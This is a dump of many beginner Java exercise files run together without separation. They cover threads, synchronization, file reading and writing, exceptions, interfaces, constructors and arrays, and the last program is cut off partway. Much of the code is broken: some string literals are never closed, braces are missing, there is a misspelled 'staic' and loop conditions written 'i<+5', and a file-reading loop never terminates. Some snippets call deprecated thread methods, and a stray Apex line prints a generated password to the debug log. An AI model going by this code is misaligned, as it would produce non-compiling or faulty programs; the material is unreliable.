public static void main(String[] args) {

  int a = 10, b = 20, ch;
  System.out.print("Enter User Choice..!\n");

  Scanner r = new Scanner(System.in);
  ch = r.nextInt();

  switch (ch) 
  {
    case 1:
      System.out.print("Sum + (a + b));
      break;
    case 2:
      System.out.print("Sub + (a - b));
      break;
    case 3:
      System.out.print("Multi + (a * b));
      break;
    case 4:
      System.out.print("Div + (a / b));
      break;
    default:
      System.out.print("Invalid Choice..");
  }
}
class Bitwise
{
   public static void main(String[] args)
   {
    int a=5,b=7;

    System.out.print("AND = " + (a & b));
    System.out.print("OR  = " + (a | b));
    System.out.print("XOR = " + (a ^ b));
    System.out.print("COMPLIMENT =  " + (~a));
   }
}
class Msg
{
    public void Show(String name)
    {
        ;;;;; // 100 line code

        synchronized(this)
        {
            for(int i = 1; i <= 3; i++)
            {
                System.out.println("how are you " + name);
            }
        }
        ;;;;; // 100 line code
    }
}

class Ourthread extends Thread
{
    Msg m;
    String name;

    Ourthread(Msg m, String name)
    {
        this.m = m;
        this.name = name;
    }

    public void run()
    {
        m.Show(name);
    }
}

class Death
{
    public static void main(String[] args)
    {
        Msg msg = new Msg(); // Create an instance of the Msg class
        Ourthread t1 = new Ourthread(msg, "om");
        Ourthread t2 = new Ourthread(msg, "harry");

        t1.start();
        t2.start();
    }
}
System.debug('Password: '+InternalPasswordGenerator.generateNewPassword('userId'));
class Table 
{
    public synchronized void printtable(int n)
    {
        for(int i=1;i<=10;i++)
        {
            System.out.println(n+"X"+i+"="+(n*i));
        }
    }
}
class Thread1 extends Thread
{
    Table t;
    Thread1(Table t)
    {
        this.t=t;
    }
    public void run()
    {
        t.printtable(5);
    }
}
class Thread2 extends Thread
{
    Table t;
    Thread2(Table t)
    {
        this.t=t;
    }
    public void run()
    {
        t.printtable(7);
    }
}

class D
{
    public static void main(String[] args)
    {
        Table r= new Table();
        
        Thread1 t1= new Thread1(r);
        Thread2 t2= new Thread2(r);
        
        t1.start();
        t2.start();
    }
}
class Bus extends Thread
{
    int available = 1;
    int passenger;

    Bus(int passenger)
    {
        this.passenger=passenger;
    }

    public synchronized void run()
    {
        String n = Thread.currentThread().getName();
        if (available >= passenger)
        {
            System.out.println(n + " seat reserved");
            available = available-passenger;
        }
        else
        {
            System.out.println("Seat not reserved");
        }
    }
}

class D
{
    public static void main(String[] args)
    {
        Bus bus = new Bus(1);

        Thread a = new Thread(bus);
        Thread s = new Thread(bus);
        Thread z = new Thread(bus);

        a.setName("raju");
        z.setName("rahul");
        s.setName("om");

        a.start();
        z.start();
        s.start();
    }
}
class S extends Thread
{
    public void run()
    {
        System.out.println(Thread.currentThread().getName());
        System.out.println(Thread.currentThread().getPriority());
    }
     
        
    
}
class F 
{
    public static void main(String[] args)
    {
        S t= new S();
        S r= new S();
        S y= new S();

        t.setName("Thread 1");
        r.setName("Thread 2");
        y.setName("Thread 3");

        t.setPriority(10);
        r.setPriority(6);
        y.setPriority(7);

        t.start();
        r.start();
        y.start();
    }
    
}
class A extends Thread
{
    public void run()
    {
        try
        {
            for(int i=1;i<=5;i++)
            {
                System.out.println("okay boss");
                Thread.sleep(1000);
            }
        }
        catch(Exception m)
        {
            System.out.println("some eror");
        }
    }
}
class F 
{
    public static void main(String[] args)
    {
        A r= new A();

        r.start();
        r.interrupt();
    }
}
class A extends Thread
{
    public void run()
    {
        System.out.println("is alive moment ");
    }
}
class F 
{
    public static void main(String[] args)
    {
        A r= new A();
        A p= new A();

        r.start();
        System.out.println(r.isAlive());
        p.start();
        System.out.println(p.isAlive());
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
                
            }
    }
}
class P extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
               
                
            }
    }
}

class F
{
    public static void main(String[] args)
    {
        A r = new A();
        P t = new P();

        r.setName("thread n");
        t.setName("thread m");

        r.start();
        r.stop();
        t.start();
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
                
            }
    }
}
class P extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                Thread.yield();
               
                
            }
    }
}

class F
{
    public static void main(String[] args)
    {
        A r = new A();
        P t = new P();

        r.start();
        t.start();
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        try
        {
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
            }
        }
        catch(Exception a)
            {
                
            }
}
}

class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 2");
        y.setName("Thread 3");

        r.start();
        
        t.start();
        t.suspend();

        y.start();
        t.resume();
       
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        try
        {
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                
            }
        }
        catch(Exception a)
            {
                
            }
}
}

class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 2");
        y.setName("Thread 3");

        t.start();
        try
        {
            t.join();
        }
        catch(Exception m)
        {

        }
        r.start();
        y.start();
    }
}
class A extends Thread
{
    public void run()
    {
        String n=Thread.currentThread().getName();
        try
        {
            for(int i=1;i<+5;i++)
            {
                System.out.println(n);
                Thread.sleep(2000);
            }
        }
        catch(Exception a)
            {
                
            }
}
}

class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 9");
        y.setName("Thread 10");

        r.start();
        t.start();
        y.start();
    }
}
class A extends Thread
{
    public void run()
    {
        String n= Thread.currentThread().getName();
        for(int i=1;i<=3;i++)
        {
            System.out.println(n);
        }
    }
}
class F
{
    public static void main(String[] args)
    {
        A r= new A();
        A t= new A();
        A y= new A();

        r.setName("Thread 1");
        t.setName("Thread 2");
        y.setName("Thread 3");

        r.start();
        t.start();
        y.start();
    }
}
class P implements Runnable
{
    public void run()
    {
        for(int i=1;i<=5;i++)
        {
            System.out.println("child");
        }
    }
}
class D
{
    public static void main(String[] args )
    {
        P r= new P();

        Thread t=new Thread(r);
        t.start();

        for(int i=1;i<=5;i++)
        {
            System.out.println("main");
        }
    }
}
class P extends Thread {
    @Override
    public void run() {
        try {
            for (int i = 1; i <= 5; i++) {
                System.out.println("akhil");
                Thread.sleep(1000);
            }
        } catch (InterruptedException e) {
            // Exception handling code (empty in this case)
        }
    }
}

class D {
    public static void main(String[] args) throws InterruptedException {
        P r = new P();
        r.start();  // Starts the thread

        for (int i = 1; i <= 5; i++) {
            System.out.println("tanishq");
            Thread.sleep(1000);
        }
    }
}
class P extends Thread
{
    public void run()
    {
        for(int i=1;i<=5;i++)
        {
            System.out.println("akhil");
        }
    }
}
class D
{
    public static void main(String[] args)
    {
        P r=new P();
        r.start();

        for(int i=1;i<=5;i++)
        {
            System.out.println("tanishq");
        }

    }
}
import java.io.*;
import java.util.Scanner;

class D
{
    public static void main(String[] args) throws Exception{
        try
        {
            File f= new File("C:\\Users\\HP\\Desktop\\poco");
            Scanner sc= new Scanner(f);
            while(sc.hasNextLine())
            {
                System.out.println(sc.hasNextLine());
                System.out.println(sc.nextLine());
                System.out.println(sc.hasNextLine());
            }
        }
        catch(Exception e)
        {
            System.out.println("handled");
        }
        
}
}
import java.io.*;
class D
{
    public static void main(String[] args) throws Exception
    {
        FileInputStream r= new FileInputStream("C:\\Users\\HP\\Desktop\\okay");
        FileOutputStream w= new FileOutputStream("C:\\Users\\HP\\Desktop\\boss");

        int i;
        while((i=r.read())!=-1)
        {
            w.write((char)i);
        }
        System.out.println("Data copied successfull");
    
}
}
import java.io.*;
class D
{
    public static void main(String[] args){
    File f=new File( "C:\\Users\\HP\\Desktop\\LC.txt");
    File r=new File( "C:\\Users\\HP\\Desktop\\aman");

    if(f.exists())
    {
        System.out.println(f.renameTo(r));
    }
    else
    {
        System.out.println("notfound");
    }
}
}
import java.io.*;
class D
{
    public static void main(String[] args){
    try 
    {
        FileReader f= new FileReader("C:\\Users\\HP\\Desktop\\LC.txt");
        try
        {
            int i;
            while((i=f.read())!=0)
            {
                System.out.println((char)i);
            }
        }
        finally
        {
            f.close();
        }

    }
    catch(Exception a)
    {
        System.out.println("some error");
    }
}
}
import java.io.*;
class D
{
    public static void main(String[] args)
    {
        File f = new  File("C:\\Users\\HP\\Desktop\\LC.txt");

        if(f.exists())
        {
            System.out.println(f.canRead());
            System.out.println(f.canWrite());
            System.out.println(f.length());
            System.out.println(f.getAbsolutePath());
            System.out.println(f.getName());
        }
        else
        {
            System.out.println("not found");
        }

    }

}
import java.io.*;
class D
{
    public static void main(String[] args)
    {
        try
        {
            FileWriter f= new FileWriter("C:\\Users\\HP\\Desktop\\LC.txt");
            try
            {
                f.write("hello guys ");
            }
            finally
            {
                f.close();
            }
            System.out.println("Susccesfully writen");
            

        }
        catch(Exception i)
        {
            System.out.println("aome execption found");
        }

            
    }
}
import java.io.*;
public class Main {
    public static void main(String[] args)
    {
     File f= new File("C:\\Users\\HP\\Desktop\\LC.txt");
     try
     {
        if(f.createNewFile())
     {
        System.out.println("file created");

     }
     else
     {
        System.out.println("file already created");
     } 
    }
    catch(IOException a)
    {
       System.out.println("Exception handled");
    }  
    }
    
}
class D
{
    public static void main(String[] args){
        try
        {
            m1();
        }
        catch(Exception m)
        {
            System.out.println("exception handeld ");
        }
    }
    public static void m1()
    {
        m2();
    }
    public static void m2()
    {
        System.out.println(10/0);
       
    }
}
class InvalidAgeException extends Exception
{
    InvalidAgeException(String msg)
    {
        System.out.println(msg);
    }
}
class test
{
    public static void vote(int age) throws InvalidAgeException
    {
        if(age<18)
        {
            throw new InvalidAgeException("not eligible for voting");
        }
        else
        {
            System.out.println("Eligible for voting ");
        }
    }
    public static void main(String[] args){
    
    try
    {
        vote(12);
    }
    catch(Exception d)
    {
        System.out.println(d);
    }
    }
}
class D
{
   public static void Wait() throws InterruptedException
    {
        for(int i=0;i<=10;i++)
        {
            System.out.println(i);
            Thread.sleep(1000);
            
        }
    }
    public static void main(String[] args) 
{
    try
    {
        Wait();
        System.out.println(10/0);
       
    }
    catch(Exception s)
    {
        System.out.println("some error find");
    }
}
}
class D
{
   public static void Wait() throws InterruptedException
    {
        for(int i=0;i<=10;i++)
        {
            System.out.println(i);
            Thread.sleep(1000);
            
        }
    }
    public static void main(String[] args) throws InterruptedException
    {
        Wait();
        System.out.println("some error find");
    }
}
class D
{
    void div(int a, int b) throws ArithmeticException
    {
        if (b == 0)
        {
            throw new ArithmeticException();
        }
        else
        {
            int c = a / b;
            System.out.println(c);
        }
    }

    public static void main(String[] args)
    {
        D r = new D(); // Fix the typo here
        try
        {
            r.div(10, 0);
        }
        catch (Exception e)
        {
            System.out.println("We cannot divide by 0");
        }
    }
}
class F
{
    public static void main(String[] args) throws InterruptedException
    {
        for(int i=1;i<=10;i++)
        {
            System.out.println(i);
            Thread.sleep(1000);
        }
    }
}
class D
{
    public static void main(String[] args){
        //System.out.println(10/0);
        throw new ArithmeticException("not divide it by 0");
    }
}
class D
{
    public static void main(String[] args){
        try
        {
            String a="hello";
            System.out.println(a.toUpperCase());
        }
        catch(Exception e)
        {
            System.out.println(e);
        }
        finally
        {
            try
            {
                System.out.println(10/0);
            }
            catch(Exception p)
            {
                System.out.println(p);
            }
            finally
            {
                System.out.println("System ended");
            }
        }
    }
}
class D
{
    public static void main(String[] args){
        try
        {
            String a="hello";
            System.out.println(a.toUpperCase());
        }
        catch(Exception e)
        {
            System.out.println(e);
        }
        finally
        {
            try
            {
                System.out.println(10/0);
            }
            catch(Exception p)
            {
                System.out.println(p);
            }
            finally
            {
                System.out.println("System ended");
            }
        }
    }
}
class G
{
    public static void main(String[] args){
    try
    {
        int a=10, b=0 , c;
        c=a/b;
        System.out.println(c);
        System.out.println("no error found");
    }
    catch(Exception a)
    {
        try
        {
            String p="okkk";
            System.out.println(p.toUpperCase());
            System.out.println("some  error found");
        }
        catch(Exception u)
        {
            System.out.println("big  error found");
        }
    }
    
    }
}
class D
{
    public static void main(String[] args){
        try{
            try{
                int a=10,b=10,c;
                c=a+b;
                System.out.println(c);
                System.out.println("no error found in ap");
            }
            catch(ArithmeticException a )
            {
                System.out.println("some error found in ap function");
            }
            int a[]={10,20,23,44};
            System.out.println(a[3]);
            System.out.println("no error found in array ");
        }
        catch(ArrayIndexOutOfBoundsException a)
        {
            System.out.println("some error found in array function");
        }
    }
}
class F
{
    public static void main(String[] args){
        try
        {
            int a=10 , b=0 , c;
            c=a+b;
            System.out.println(c);
            
            int d[]={10,20};
            System.out.println(d[1]);
            
            String j = "amkit";
            System.out.println(j.toUpperCase());
           
        }
        catch(ArrayIndexOutOfBoundsException d)
        {
            System.out.println("array error");
        }
        catch(ArithmeticException F)
        {
           System.out.println("ap error");
        }
        catch(NumberFormatException o)
        {
            System.out.println("number format error");
        }
        catch(Exception L)
        {
            System.out.println("some basic error ");
        }
    }
}
class F
{
    public static void main(String[] args){
        try
        {
            int a=10,b=0,c;
            c=a/b;
            System.out.println(c);
        }
        catch(Exception a)
        {
            
            System.out.println("error found ");
        }
        try
        {
            int a[] ={10,20,30};
            System.out.println(a[3]);
        }
        catch(ArrayIndexOutOfBoundsException b)
        {
            System.out.println("error found ");
        }
        
        
    }
}
class D
{
    public static void main(String[] args){
        
        try
        {
            int a=10,b=2,c;
            c=a/b;
            System.out.println(c);
        }
        catch(Exception a)
        {
            System.out.println("Any error found");
        }
        finally
        {
            System.out.println("no error found");
        }
        System.out.println("system ended");
    }
}
class D
{
    public static void main(String[] args){
    String str="heavy";
    
    try
    {
        int a=Integer.parseInt(str);
        System.out.println("error not found");
    }
   catch(NumberFormatException n)
   {
       System.out.println("error found");
   }
   System.out.println("system ended ");
} 
}
class D
{
    public static void main(String[] args){
        String a= null;
        
        try
        {
            System.out.print(a.toUpperCase());
            System.out.print("error not found");
            
        }
        catch(NullPointerException n )
        {
            System.out.print("error found");
        }
        
        
} 
}
class D
{
    public static void main(String[] args){
        int a=10,b=0,c;
        System.out.println("started ");
        try{
            c=a+b;
            System.out.println("sum will be "+c);
            System.out.println("no error found ");
        }
        catch(Exception e)
        {
            System.out.println("error founded");
        }
        System.out.println("ended");
    }
}
class D
{
    public static void main(String[] args ){
        System.out.println("Started ");
        int a=10,b=0,c;
        try{
            c=a/b;
        }
        catch(Exception e )
        {
            System.out.println("any errror found");
        }
        System.out.println("ended");
    }
}
class A
{
    void add(int ... a)
    {
        int sum=0;
        for(int x:a)
        {
            sum=sum+x;
        }
        System.out.println("sum of numbers will be "+sum);
    }
}
class B 
{
    public static void main(String[] args)
    {
        A r= new A();
        r.add();
        r.add(10,20);
        r.add(20,30);
        r.add(20,20);
    }
}
class A
{
    A Show()
    {
        System.out.println("first");
        return this;
    }
}
class B extends A
{
    B Show()
    {
        super.Show();
        System.out.println("second");
        return this;
    }
}
class C
{
    public static void main(String[] args)
    {
        B r = new B();
        r.Show();
    }
    
}
class A
{
    A show()
    {
        System.out.println("super");
        return this; // return as it is 
    }
}
class B extends A
{
    @Override
    B show()
    {
        System.out.println("supreme");
        return this; // return as it is
    }
}
class F
{
    public static void main(String[] args){
        B r= new B();
        r.show();
    }
}
class A
{
    void show()
    {
        System.out.print("super");
    }
}
class B extends A
{
    @Override
    void show()
    {
        System.out.print("supt");
    }
}
class F
{
    public static void main(String[] args){
        B r= new B();
        r.show();
    }
}
class D
{
    int a=10;
    D()
    {
        System.out.println(a);
    }
    public static void main(String[] args){
        
        D r = new D();
        
    }
}
class D
{
    int a=10;
    D()
    {
        System.out.println(a);
    }
    public static void main(String[] args){
        
        D r = new D();
        
    }
}
class D
{
    int a=10;
    public static void main(String[] args){
        
        D r = new D();
        System.out.println(r.a);
    }
}
final class D
{
    void number()
    {
        System.out.println("true");
    }
    
}
class P extends D // it will show error as its ssinged as final ....
{
   
    void number()
    {
        System.out.println("true");
    }
    
}

class O
{
    public static void main(String[] args)
    {
        P r = new P();
        r.number();
        
}
}
class Final 
{
    public static void main(String[] args)
    {
        final int a=20;// fial value now it cannot be changed 
        System.out.print(a);
        
        a=20;// cannot assinged once again
        System.out.print(a);
    }
}
interface D
{
    default void call()
    {
        plus(10,20);
    }
    private void plus(int x,int y)
    {
        System.out.println("plus answer will be "+(x+y));
    }
}
class X implements D
{
    public void subtract(int x, int y)
    {
        System.out.println("subtract answer will be "+(x-y));
    }
}
class C
{
    public static void main(String[] args)
    {
        X r= new X();
        r.call();
        r.subtract(20,10);
    }
}
interface A
{
    public static void Show()
    {
        System.out.println("okay bhai");
    }
}
class  D
{
    public static void main(String[] args)
    {
        A.Show();
    }
}
interface A
{
    void S();
    void P();
    default void L()
    {
        System.out.println("hii baby");
    }
}
class D implements A
{
    public void S()
    {
        System.out.println("class D");
    }
    public void P()
    {
        System.out.println("class P");
    }
}
class p
{
    public static void main(String[] args)
    {
        D r= new D();
        r.S();
        r.P();
        r.L();
    }
}
import java.util.LinkedList;
import java.util.Queue;

public class Main { 
  public static void main(String[] args) {
    Queue songs = new LinkedList<>();
    songs.add("Szmaragdy i Diamenty");
    songs.add("Ja uwielbiam ją");
    songs.add("Chłop z Mazur");

    System.out.println("Playlista na dziś: " + songs);
    for (int i = 0; i < songs.size(); i++) {
        System.out.println("gram: " + songs.poll() +
              " [następnie: " + songs.peek() + "]");
    }
}
} 
interface W {
    void sum();
}

interface S extends W {
    void sub();
}

class K implements S {
    @Override
    public void sum() {
        int a = 10, b = 20, sum;
        sum = a + b;
        System.out.println(sum);
    }

    @Override
    public void sub() {
        int a = 20, b = 10, sub;
        sub = a - b; // Fix: Corrected the subtraction operation
        System.out.println(sub);
    }
}

class D {
    public static void main(String[] args) {
        K r = new K();
        r.sum();
        r.sub(); // Fix: Corrected the method call
    }
}
interface A {
    void show();
}

interface S {
    void hide();
}

class W implements A, S {
    public void show() {
        System.out.println("ok boss");
    }

    public void hide() {
        System.out.println("no boss");
    }
}

class L {
    public static void main(String[] args) {
        W r = new W();
        r.show();
        r.hide();
    }
}
interface X
{
    void frontened();
    void backened();
}
abstract class D implements X
{
    @Override
    public void frontened()
    {
        System.out.println("BY JAVA");
    }
}
class W extends D
{
    @Override
    public void backened()
    {
        System.out.println("BY HTml and css ");
    }
}
class V
{
    public static void main(String[] args)
    {
        W r= new W();
        r.frontened();
        r.backened();
    }
    
}
interface customer
{
    int a=20;
    void purchase();
}
class Owner implements customer
{
    @Override
    public void purchase()
    {
        System.out.println("customer bought "+a + "kg");
    }
    
    
}
class A
{
    public static void main(String[] args)
    {
        
        System.out.println(customer.a+"kg");/* it can be call without making an obj that is why its static*/
    }
}
interface customer
{
    int a= 20; /* that is why its final because one value  is assinged it becomes final*/
    
    void purchase();
}
class Raju implements customer
{
    @Override
    public void purchase()
    {
        System.out.println("raj needs "+a+"kg");
    }
}
class Check
{
    public static void main(String[] args)
    {
        customer r= new Raju();
        r.purchase();
    }
}
import java.util.Scanner;
interface client
{
    void input();
    void output();
}
class raju implements client
{
    String name ; double salary;
    public void input()
    {
        Scanner r = new Scanner(System.in);
        System.out.println("eNTER YOUR NAME");
        name = r.nextLine();
        
        System.out.println("eNTER YOUR sal");
        salary = r.nextDouble();
    }
    public void output()
    {
    System.out.println(name +" "+salary);
    
    }
    public static void main(String[] args){
        client c = new raju();
        c.input();
        c.output();
    }
abstract class A
{
    public abstract void MAIN();
    
}
abstract class AKHIL extends A
{
    @Override
    public void MAIN()
    {
        System.out.println("topper");
    }
    
}
class TANISHQ extends AKHIL
{
    @Override
    public void MAIN()
    {
        System.out.println("loser");
    }
}
class D
{
    public static void main(String[] args)
    {
        TANISHQ r =new TANISHQ();
      
        
        r.MAIN();
        
    }
}
abstract class D {
    public abstract void Developer();
}

class Java extends D {
    @Override
    public void Developer() {
        System.out.println("James");
    }
}

class Html extends D {
    @Override
    public void Developer() {
        System.out.println("Tim");
    }
}

public class S {
    public static void main(String[] args) {
        Java r = new Java();
        Html k = new Html();
        r.Developer();
        k.Developer();
    }
}
abstract class animal
{
    public abstract void sound();
}
class dog extends animal
{
    public void sound()
    {
    System.out.println("dog is barking");
    }
}
class tiger extends animal
{
    public void sound()
    {
    System.out.println("dog is tiger");
        
    }
    
}
class S{
    public static void main(String[] args){
        dog r= new dog();
        tiger k= new tiger();
        
        r.sound();
        k.sound();
    }
}
abstract class A
{
    void MAIN()
    {
    System.out.println("ooo");
    }
}
class S extends A
{
    
}
class P
{
    public static void main(String[] args){
        S r= new S();
        r.MAIN();
    }
}
class A
{
    private int value;
    
    public void setValue(int x)
    {
        value=x;
    }
    public int getValue()
    {
        return value;
    }
}
class D
{
    public static void main(String[] args){
    A r= new A();
    r.setValue(500);
    System.out.println(r.getValue());
    }
}
class shape 
{
    void draw()
    {
        System.out.println("can't say about shape");
    }
}
class square extends shape
{
    @Override
    void draw()
    {
        super.draw();
        System.out.println("shape is square");
    }
}
class B
{
    public static void main(String[] args)
    {
        shape r=new square();
        r.draw();
    }
}
class A
{  
    void C()
    {
        int a=20; int b=30; int c;
        c=a+b;
        System.out.println(c);
    }
    void C(int x,int y)
    {
        int c;
        c=x+y;
        System.out.println(c);
    }
    void C(int x,double y)
    {
        double c;
        c=x+y;
        System.out.println(c);
    }
    public static void main(String[] args)
    {
        A r= new A();
        r.C();
        r.C(10,20);
        r.C(11,22.33);
    }

}
class A
{
    void SHOW()
    {
        System.out.println(this);
    }
    public static void main(String[] args)
    {
        A r = new A();
        System.out.println(r);
        r.SHOW();
    }

}
class A
{
    
        int a=20;
        
}
class B extends A
{
    int a=10;
    void S()
    {
        System.out.println(super.a);
        System.out.println(a);
    }
}
class C
{
    public static void main(String[] args)
{
    B r= new B();
    r.S();
}
}
class A
{
    void S()
    {
        System.out.println("srk");
    }
}
class B
{
    void S()
    {
        super.show();
        System.out.println("srk");
    }
}
class C
{
    public staic void main (String[] args)

{
    B r= new B();
    r.S();
}

}
class A
{
    
    void ADD()
    {
        
        System.out.println("enter your name ");
    }
}
class B extends A
{
void SUB()
    {
        
        System.out.println("Enter your enrollemnet number");
    }
}
class C extends A
 
{
    void MULTI()
    {
        
        System.out.println("enter your college name ");
    }
}
    
class D
{
    public static void main(String[] args)
    {
       B r = new B();
       C r2= new C();
       
       r.ADD(); r.SUB();
       r2.ADD(); r2.MULTI();
    }
}
class A
{
    int a; int b; int c;
    void ADD()
    {
        a=1;
        b=2;
        c=a+b;
        System.out.println("addition of number "+c );
    }
    void SUB()
    {
        a=1;
        b=2;
        c=a-b;
        System.out.println("subtraction of number "+c );
    }
}
class B extends A
{
    void MULTI()
    {
        a=1;
        b=2;
        c=a*b;
        System.out.println("multiplication of number "+c );
    }
}
class C extends B
{
        void REMAINDER()
    {
        a=1;
        b=2;
        c=a%b;
        System.out.println("remainder of number "+c );
    }
}
class D{
    public static void main(String[] args)
    {
        C r = new C();
        r.ADD();
        r.SUB();
        r.MULTI();
        r.REMAINDER();
    }
}
class A
{
    int a; String b;
    void input()
    {
        System.out.println("enter your roll no and name ");
    }
    
      
    
    
}
class B extends A
{
    void D()
    {
        a=10; b="om";
        System.out.println(a+" "+b);
    }
    public static void main(String[] args){
    B r=new B();
    r.input(); 
    r.D(); 
    }
    
}
class A
{
    int a=10; static int  b=20;
    
    {
        System.out.println(a+" "+b);
    }
    static{
        System.out.println(b);
    }
    
    
    public static void main(String[] args){
        A r = new A();
    }
    
    
}
class A
{
    static{
        System.out.println("learn ");
    }
    {
        System.out.println("learn coding");
    }
    
    
    public static void main(String[] args){
        A r = new A();
    }
    
    
}
class A
{
    static {
        System.out.print("jojo");
    }
    
       public static void main(String[] args) {
    }
    
}
class S
{
    int a,b;
    S()
    {
        a=20 ; b=30;
        System.out.println(a+" "+b);
    }
    
    {/*static*/
        a=10 ; b=10;
        System.out.println(a+" "+b);
    }
}
class A
{
    public static void main(String[] args)
    {
        
        S r = new S();
        
    
    }
}
class A 
{
    int a; double b; String c;
    A()
    {
        a= 10; b= 0.098; c= "hii";
        
    }
    A(int x)
    {
        a=x;
    }
    A( double y, String z)
    {
        b=y; c=z;
    }
    
}
class Z
{
   public static void main(String[] args)
   {
      A r = new A();
      A r2= new A(10);
      A r3= new A(0.99," ok");
      System.out.println(r.a+" "+r.b+" "+r.c);
      System.out.println(r2.a);
      System.out.println(r3.b+" "+r3.c);
   }


}
class A 
{
    int a; String b;
    private A()
    {
        a= 10;
        b= "OK";
        System.out.print(a+" "+b);
    }
    public static void main(String[] args){
    A r = new A();
    }
}
// Copy constructor
class A
{
    int a; String b;
    
    
    A()   
    {
        a=10; b=" only";
        System.out.println(a+b);
    }
    
    A(A ref)
    {
        a=ref.a;
        b=ref.b;
        System.out.println(a+b);
    }
}
class B 
{
    public static void main(String[] args )
    {
        A r= new A();
        A r2= new A(r);
    }
}
import java.util.Scanner;

class A

{
    int x, y;
    A(int a, int b)
    {
        x=a; y=b;
        
    }
    void ok()
    {
        System.out.print(x+" "+y);
    }
    
}

class B
{
    public static void main(String[] args)
    {
        A r = new A(100,200);
        r.ok();
    }
}
import java.util.Scanner;

class A

{
    int a; String b; boolean c;
    /*A()
    {
        a=10;b="OK";c=true;
        
    }*/
    void ok()
    {
        System.out.print(a+" "+b+" "+c+" ");
    }
    
}

class B
{
    public static void main(String[] args)
    {
        A r = new A();
        r.ok();
    }
}
import java.util.Scanner; 
class HelloWorld {
    public static void main(String[] args) {
        
        int a[]=new int[5];
        Scanner r = new Scanner(System.in);
        System.out.print("Enter elements of arrays");
        
        for(int i=0;i<a.length;i++)
        {
            a[i]=r.nextInt();
        }
        System.out.println (" arrays");
        for(int i=0;i<a.length;i++)
        {
            System.out.print(a[i]+" ");
        }
        System.out.println ("reverse  arrays");
        for(int i=a.length-1;i>=0;i--)
        {
             System.out.print(a[i]+" ");
        }
    }
}
import java.util.Arrays; 
class HelloWorld {
    public static void main(String[] args) {
        
        String a[]={"learn","coding","Keypoints"};
        System.out.println(Arrays.toString(a));
        System.out.println(Arrays.asList(a));
        
        int b[][]={{10,20},{30,40}};
        System.out.println(Arrays.deepToString(b));
        
    }
}
import java.util.Scanner;
class HelloWorld {
    public static void main(String[] args) {
        
        int n,r;
        Scanner ref = new Scanner(System.in);
        System.out.println("enter you value !");
        n=ref.nextInt();
        
        while(n>0)
        {
            r=n%10;
            System.out.print(r);
            n=n/10;
        }
        
    }
import java.util.Scanner;
class HelloWorld {
    public static void main(String[] args) {
        int month ;
        Scanner r=new Scanner(System.in);
        System.out.println("input month");
        month=r.nextInt();
        
        switch(month)
        {
            case 1:System.out.print("january and days 31");
            break;
            case 2:System.out.print("febuary and days 28");
            break;
            case 3:System.out.println("march and days 31");
            break;
            case 4:System.out.println("april and days 30");
            break;
            case 5:System.out.println("may and days 31");
            break;
            case 6:System.out.println("june and days 30");
            break;
            case 7:System.out.println("july and days 31");
            break;
            case 8:System.out.println("august and days 31");
            break;
            case 9:System.out.println("september and days 30");
            break;
            case 10:System.out.println("october and days 31");
            break;
            case 11:System.out.println("november and days 30");
            break;
            case 12:System.out.println("december and days 31");
            break;
            
            
        }
        
        
        
    }
    
    
}
import java.util.Scanner;
class HelloWorld {
    public static void main(String[] args) {
        int a;
        Scanner r=new Scanner(System.in);
        System.out.println("input a value");
        a=r.nextInt();
        
        for(int i=1;i<=a;i++)
        {
            if(a%i==0)
            {
                System.out.println(i+" "); 
                
            }
        }
        
    }
    
    
}
import java.util.ArrayList;
import java.util.Scanner;

public class StudentInformationSystem {

    private static ArrayList<Student> students = new ArrayList<>();
    private static Scanner scanner = new Scanner(System.in);

    public static void main(String[] args) {
        while (true) {
            displayMenu();
            int choice = scanner.nextInt();
            scanner.nextLine(); // Consume the newline character

            switch (choice) {
                case 1:
                    addStudent();
                    break;
                case 2:
                    viewStudentList();
                    break;
                case 3:
                    searchStudent();
                    break;
                case 4:
                    System.out.println("Exiting program. Goodbye!");
                    System.exit(0);
                default:
                    System.out.println("Invalid choice. Please try again.");
            }
        }
    }

    private static void displayMenu() {
        System.out.println("Student Information System Menu:");
        System.out.println("1. Add Student");
        System.out.println("2. View Student List");
        System.out.println("3. Search for Student");
        System.out.println("4. Exit");
        System.out.print("Enter your choice: ");
    }

    private static void addStudent() {
        System.out.print("Enter student ID: ");
        int id = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        System.out.print("Enter student name: ");
        String name = scanner.nextLine();

        students.add(new Student(id, name));
        System.out.println("Student added successfully!");
    }

    private static void viewStudentList() {
        if (students.isEmpty()) {
            System.out.println("No students in the system yet.");
        } else {
            System.out.println("Student List:");
            for (Student student : students) {
                System.out.println("ID: " + student.getId() + ", Name: " + student.getName());
            }
        }
    }

    private static void searchStudent() {
        System.out.print("Enter student ID to search: ");
        int searchId = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        boolean found = false;
        for (Student student : students) {
            if (student.getId() == searchId) {
                System.out.println("Student found: ID: " + student.getId() + ", Name: " + student.getName());
                found = true;
                break;
            }
        }

        if (!found) {
            System.out.println("Student with ID " + searchId + " not found.");
        }
    }

    private static class Student {
        private int id;
        private String name;

        public Student(int id, String name) {
            this.id = id;
            this.name = name;
        }

        public int getId() {
            return id;
        }

        public String getName() {
            return name;
        }
    }
}
import java.util.ArrayList;
import java.util.Scanner;

public class StudentInformationSystem {

    private static ArrayList<Student> students = new ArrayList<>();
    private static Scanner scanner = new Scanner(System.in);

    public static void main(String[] args) {
        while (true) {
            displayMenu();
            int choice = scanner.nextInt();
            scanner.nextLine(); // Consume the newline character

            switch (choice) {
                case 1:
